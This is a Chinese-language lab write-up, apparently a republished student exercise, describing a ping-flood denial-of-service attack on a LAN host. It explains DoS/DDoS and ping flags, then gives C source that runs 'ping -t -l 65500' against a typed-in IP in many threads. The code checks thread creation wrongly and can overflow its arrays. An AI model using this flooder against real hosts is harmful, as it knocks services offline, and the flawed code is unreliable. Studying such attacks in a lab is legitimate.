文章目录
实验任务
对局域网内IP地址为10.12.186.186的主机(已关闭防火墙)发起基于网络流量的DDoS攻击。
实验过程
DoS攻击与DDoS攻击
DoS是Denial of Service的简称,即拒绝服务。造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络宽带攻击和连通性攻击。DoS攻击的目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃。
分布式拒绝服务攻击(DDoS)可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。DDoS攻击的思路是与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使其网络无法提供正常的服务。
ping命令参数
在Windows下使用命令ping /?查看ping命令参数的含义:
通过该提示可以看出:我们可以使用ping命令的-n参数指定要发送的回显次数(或者使用-t参数使其一直发送),可以使用-l指定发送的缓冲区大小,可以使用-w指定等待每次回复的时间。

实施DDoS攻击
DoS攻击程序需要与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使目标主机网络无法提供正常的服务。
而ping命令可以使用ping命令的- t参数使其一直对目标主机发送网络请求,可以使用-l 65500指定较大的发送缓冲区大小。
程序需要控制输入一个有效的IP地址,然后利用字符串拼接操作拼接出“ping +IP地址”的命令,通过调用system函数使用ping命令实现攻击。
为了使得单机的攻击最大化,需要使用线程编程技术中的CreateThread函数创建多个线程进行攻击。此外,还需要多开攻击进程(使攻击进程占所有进程的比例增加,使得攻击进程尽量占用更多的时间片),使其尽量消耗CPU资源,使攻击效果最大化。
DDoS攻击程序源代码如下:
#include
#include
#define MaxSize 50 #define MaxThreadNum 128 HANDLE ThreadHandle[MaxThreadNum]; //线程句柄 DWORD ThreadID[MaxThreadNum]; //线程ID DWORD WINAPI DDosServer(LPVOID IP_Address) {
//初始化ping命令 char Command[MaxSize] = "ping \0"; //IP格式转化 char *IP = (char *)IP_Address; //拼接IP strcat(Command, IP); //拼接ping命令参数(方式、缓冲区大小、请求数) //同时保证可控 strcat(Command, " -t -l 65500\0"); //执行ping命令 //这个命令不会结束,程序无法正常终止 system(Command); return 0; } int main() {
int ThreadNum = 8; char IP[16] = {
0}; //输入目标主机IP printf("请输入目标主机IP: "); scanf("%s", IP); printf("请输入攻击线程数:"); scanf("%d", &ThreadNum); for (int i = 0; i < ThreadNum; ++i) {
ThreadHandle[i] = CreateThread(NULL, 0, DDosServer, &IP, 0, &ThreadID[i]); if (ThreadHandle != NULL) printf("攻击线程%d创建成功!\n", i); else printf("攻击线程%d创建失败!\n", i); } //等待全部线程结束 WaitForMultipleObjects(ThreadNum, ThreadHandle, TRUE, INFINITE); for (int i = 0; i < ThreadNum; ++i) {
//关闭线程句柄 //TerminateThread(ThreadHandle[i], 0); if (CloseHandle(ThreadHandle[i]) == true) printf("攻击线程%d结束成功!\n", i); } return 0; }
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/179373.html原文链接:https://javaforall.net
